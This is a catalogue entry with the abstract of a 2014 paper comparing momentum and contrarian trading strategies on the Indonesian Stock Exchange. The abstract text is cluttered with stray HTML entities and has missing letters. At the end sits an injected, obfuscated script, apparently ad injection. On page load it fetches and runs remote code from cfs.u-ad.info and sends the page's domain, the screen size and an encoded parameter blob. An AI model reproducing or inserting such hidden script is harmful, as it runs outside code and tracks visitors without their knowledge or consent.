Comparison in Measuring Effectiveness of Momentum and Contrarian Trading Strategy in Indonesian Stock Exchange

• Main Author: Rizky Luxianto
• Format: Article
• Language: English
• Published: Universitas Indonesia 2014-08-01
• Series: Indonesian Capital Market Review
• Online Access: http://journal.ui.ac.id/index.php/icmr/article/view/3629

This &nbsp;paper &nbsp;wants &nbsp;to &nbsp;explore &nbsp;the &nbsp;effectiveness &nbsp;of &nbsp;momentum &nbsp;or &nbsp;contrarian &nbsp;strategy &nbsp;in&nbsp;Indonesian &nbsp;Stock &nbsp;Exchange &nbsp;using &nbsp;different &nbsp;methods &nbsp;in &nbsp;measuring &nbsp;the &nbsp;performance. &nbsp;The&nbsp;point of momentum or contrarian strategy is selecting winner (stocks with highest gain) or&nbsp;loser stocks (stocks with highest loss) and then buy or sell it based on the research result.&nbsp;This research employed three methods in measuring performance to select winner and loser&nbsp;stocks. &nbsp;The &nbsp;irst &nbsp;method &nbsp;used &nbsp;cross &nbsp;section &nbsp;relative &nbsp;return, &nbsp;while &nbsp;the &nbsp;second &nbsp;method &nbsp;used&nbsp;cross section relative return plus risk component (return divided by standard deviation), and&nbsp;the &nbsp;third &nbsp;method &nbsp;employed &nbsp;historical &nbsp;relative &nbsp;return &nbsp;instead &nbsp;of &nbsp;cross &nbsp;section. &nbsp;The &nbsp;result &nbsp;is&nbsp;that, &nbsp;all &nbsp;of &nbsp;those &nbsp;three &nbsp;methods &nbsp;prove &nbsp;that &nbsp;momentum &nbsp;strategy &nbsp;is &nbsp;effectively applicable &nbsp;for&nbsp;winner stock, so in the next period winner stock will continue to make profit, while for loser&nbsp;stock, it is more effective to use contrarian strategy because in the next period, loser stock&nbsp;will rebound and make proit after suffering from high loss.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>